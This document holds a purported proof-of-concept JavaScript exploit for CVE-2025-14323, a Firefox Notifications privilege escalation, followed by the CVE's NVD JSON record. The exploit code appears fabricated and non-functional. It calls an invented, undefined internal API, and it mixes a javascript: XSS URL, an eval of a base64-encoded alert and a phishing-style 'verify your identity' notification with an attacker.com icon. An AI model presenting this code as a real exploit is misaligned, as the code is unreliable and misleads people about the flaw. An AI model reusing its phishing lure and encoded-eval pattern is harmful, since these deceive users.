CVE-2025-14323

// CVE-2025-14323 PoC - DOM Notifications Privilege Escalation // Target: Mozilla Firefox, Firefox ESR, Thunderbird < fixed versions // Reference: https://bugzilla.mozilla.org/show_bug.cgi?id=1996555 function exploitNotifications() { // Step 1: Request notification permission Notification.requestPermission().then(permission => { if (permission !== 'granted') { console.log('Permission denied'); return; } // Step 2: Create malicious notification const maliciousNotification = new Notification('Security Alert', { body: 'Click to verify your identity', icon: 'https://attacker.com/logo.png', tag: 'CVE-2025-14323', data: { url: 'javascript:void(document.location="data:text/html,<script>alert("XSS\")</script>")' } }); // Step 3: Exploit notification event handlers maliciousNotification.onshow = function() { // Attempt to trigger privilege escalation via notification API try { // Access internal notification state const internalState = notification.getInternalState(); // Exploit callback mechanism if (internalState && internalState.callback) { // Escalate privileges internalState.callback.call(window); } } catch (e) { console.log('Exploit attempt: ' + e.message); } }; // Step 4: Force user interaction setTimeout(() => { maliciousNotification.close(); // Trigger follow-up action eval(atob('YWxlcnQoJ0V4cGxvaXQgc3VjY2Vzc2VkJyk=')); }, 1000); }); } // Execute exploit window.onload = exploitNotifications; // Mitigation: Update to Firefox 146, Firefox ESR 115.31/140.6, Thunderbird 146/140.6

{"cve": {"id": "CVE-2025-14323", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:39.700", "lastModified": "2026-04-13T15:16:45.220", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Privilege escalation in the DOM: Notifications component. This vulnerability was fixed in Firefox 146, Firefox ESR 115.31, Firefox ESR 140.6, Thunderbird 146, and Thunderbird 140.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "115.31.0", "matchCriteriaId": "22C1C512-2D57-4BCB-ABE2-5CA41F354AA1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "146.0", "matchCriteriaId": "3EF4CBBC-DCB5-4540-8B8A-91DA759ED631"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionStartIncluding": "116.0", "versionEndExcluding": "140.6.0", "matchCriteriaId": "AB211B63-E6CF-4D11-BCEE-CF495FA0B0EF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.6.0", "matchCriteriaId": "F04F8674-52CC-4217-B94A-8C5E80C5B996"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "146.0", "matchCriteriaId": "1CB46BC7-512D-45BF-BCF4-73FDDF94DBAF"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1996555", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-92/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-93/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-94/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-95/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-96/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}